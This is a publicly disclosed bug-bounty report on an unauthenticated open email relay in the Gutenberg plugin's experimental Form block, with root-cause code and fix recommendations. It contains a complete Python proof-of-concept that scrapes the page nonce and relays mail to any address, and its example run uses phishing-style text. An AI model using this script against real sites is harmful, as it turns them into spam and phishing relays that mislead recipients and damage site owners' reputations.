HexBrain

WordPress · Report #3460138

Open Email Relay on WordPress Gutenberg Plugin via formAction parameter leads to phishing and spam campaigns

Validstatus
23upvotes
8 Nov 2026disclosed

How it was found

Description:

The Gutenberg plugin version 22.2.0 contains an experimental Form block (core/form) that exposes an unauthenticated AJAX endpoint allowing arbitrary attackers to relay emails through the WordPress site to any recipient. This vulnerability enables attackers to use the WordPress site as an open relay for spam/phishing campaigns, potentially damaging email reputation and facilitating targeted phishing attacks.

The vulnerability exists because:

  1. The form view script embeds sensitive parameters (nonce, ajaxUrl, action) in a publicly accessible script tag
  2. The AJAX handler wp_block_form_email_submit is registered for both authenticated (wp_ajax_*) and unauthenticated (wp_ajax_nopriv_*) requests
  3. The handler trusts the client-supplied formAction parameter without validation
  4. No rate limiting or sender verification is enforced

Asset Identification

Asset Type: Source Code Asset Name: WordPress Gutenberg Plugin Asset URL: https://github.com/WordPress/gutenberg Version: 22.2.0

Vulnerable Files:

  1. packages/block-library/src/form/index.php - Server-side form handler
  2. lib/experimental/blocks.php - Nonce/credentials exposure

Vulnerable Endpoint:

  • AJAX action: wp_block_form_email_submit
  • Handler function: gutenberg_block_core_form_send_email()
  • Registration: wp_ajax_nopriv_wp_block_form_email_submit (unauthenticated)

Technical Details

Vulnerable Component: build/scripts/block-library/form.php and lib/experimental/blocks.php

Root Cause:

// In build/scripts/block-library/form.php (lines 103-104):
add_action( 'wp_ajax_wp_block_form_email_submit', 'gutenberg_block_core_form_send_email' );
add_action( 'wp_ajax_nopriv_wp_block_form_email_submit', 'gutenberg_block_core_form_send_email' );

The nopriv registration allows unauthenticated requests. The handler extracts formAction from POST data and uses it directly:

// Line 92-96:
$result = wp_mail(
    str_replace( 'mailto:', '', $params['formAction'] ),
    __( 'Form submission' ),
    $content
);

Data Exposure: The form view script module (lib/experimental/blocks.php lines 129-131) injects credentials into the page:

$data['nonce']   = wp_create_nonce( 'wp-block-form' );
$data['ajaxUrl'] = admin_url( 'admin-ajax.php' );
$data['action']  = 'wp_block_form_email_submit';

These appear in the HTML as:

<script type="application/json" id="wp-script-module-data-@wordpress/block-library/form/view">
{"nonce":"abc123...","ajaxUrl":"http://site/wp-admin/admin-ajax.php","action":"wp_block_form_email_submit"}
</script>

Steps To Reproduce:

Prerequisites

  • WordPress site with Gutenberg 22.2.0 plugin installed
  • Form block enabled (Admin → Gutenberg → Experiments → "Blocks: add Form and input blocks")
  • At least one public page/post containing a Form block
  • Python 3.10+ with requests library (pip install requests)

Setup (for demonstration)

  1. Start MailHog (for email capture in testing environment):
docker run -d -p 1025:1025 -p 8025:8025 mailhog/mailhog
  1. Enable Form Block in WordPress:

    • Navigate to: Admin Dashboard → Gutenberg → Experiments
    • Enable: "Blocks: add Form and input blocks"
    • Click "Save Changes"
  2. Configure Mail Transport (for demo only):

    • Install WP Mail SMTP plugin
    • Configure SMTP: host 127.0.0.1, port 1025, no authentication
    • This routes all mail to MailHog for observation

Exploitation Script

Save as poc_form_relay.py:

"""
PoC: Unauthenticated email relay via Gutenberg Form block
Gutenberg plugin 22.2.0 - CVE-TBD
"""
import argparse
import json
import re
import sys
from urllib.parse import urljoin
import requests

SCRIPT_ID = "wp-script-module-data-@wordpress/block-library/form/view"

def extract_settings(html):
    """Extract nonce/action/ajaxUrl from the public script tag"""
    match = re.search(
        rf'id="{re.escape(SCRIPT_ID)}"\s*>\s*(?P<data>{{.*?}})\s*</script>',
        html, re.S
    )
    if not match:
        return None
    try:
        return json.loads(match.group("data"))
    except json.JSONDecodeError:
        return None

def parse_kv_pairs(pairs):
    """Parse key=value field arguments"""
    parsed = {}
    for item in pairs:
        if "=" not in item:
            raise ValueError(f"Invalid field '{item}', expected key=value")
        key, value = item.split("=", 1)
        parsed[key.strip()] = value
    return parsed

def main():
    parser = argparse.ArgumentParser(
        description="Gutenberg Form unauthenticated mail relay PoC"
    )
    parser.add_argument("--page", required=True, 
                       help="Page URL containing the Gutenberg form")
    parser.add_argument("--to", required=True,
                       help="Target email address")
    parser.add_argument("--field", action="append", default=[],
                       help="Field key=value (repeatable)")
    parser.add_argument("--insecure", action="store_true",
                       help="Disable TLS verification")
    args = parser.parse_args()

    fields = parse_kv_pairs(args.field) if args.field else {"message": "Test"}
    
    session = requests.Session()
    
    print("[+] Fetching target page to extract credentials...")
    resp = session.get(args.page, timeout=15, verify=not args.insecure)
    if not resp.ok:
        print(f"[!] Failed to fetch page: {resp.status_code}")
        sys.exit(1)

    settings = extract_settings(resp.text)
    if not settings:
        print("[!] Could not locate form settings in page HTML")
        sys.exit(1)

    ajax_url = urljoin(args.page, settings.get("ajaxUrl", ""))
    print(f"[+] Extracted AJAX endpoint: {ajax_url}")
    print(f"[+] Extracted nonce: {settings.get('nonce', 'N/A')}")
    
    payload = {
        "_ajax_nonce": settings.get("nonce", ""),
        "action": settings.get("action", "wp_block_form_email_submit"),
        "_wp_http_referer": args.page,
        "formAction": f"mailto:{args.to}",
    }
    payload.update(fields)
    
    print(f"[+] Sending malicious form submission to {args.to}...")
    post_resp = session.post(ajax_url, data=payload, timeout=15,
                            verify=not args.insecure)
    
    print(f"[+] Response Status: {post_resp.status_code}")
    try:
        result = post_resp.json()
        print(f"[+] Response: {result}")
        if result.get("success"):
            print("[✓] Email successfully relayed!")
    except ValueError:
        print(f"[!] Response text: {post_resp.text[:500]}")

if __name__ == "__main__":
    main()

Execution

python3 poc_form_relay.py \
    --page http://wordpress.local/contact-us/ \
    --to [email protected] \
    --field message="Urgent: Verify your account" \
    --field subject="Security Alert"

Recommendations

  1. Immediate Mitigation:

    • Disable the experimental Form block: Admin → Gutenberg → Experiments → uncheck "Blocks: add Form and input blocks"
    • Monitor mail logs for suspicious activity
  2. Proper Fix (for plugin maintainers):

    • Remove nopriv registration: Only allow authenticated users to submit forms
    • Validate formAction: Implement server-side allowlist for recipient addresses
    • Add rate limiting: Implement per-IP throttling on form submissions
    • Add CAPTCHA: Require human verification for form submissions
    • Remove credential exposure: Don't embed nonce in public script tags; generate nonce on form load via separate authenticated endpoint

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original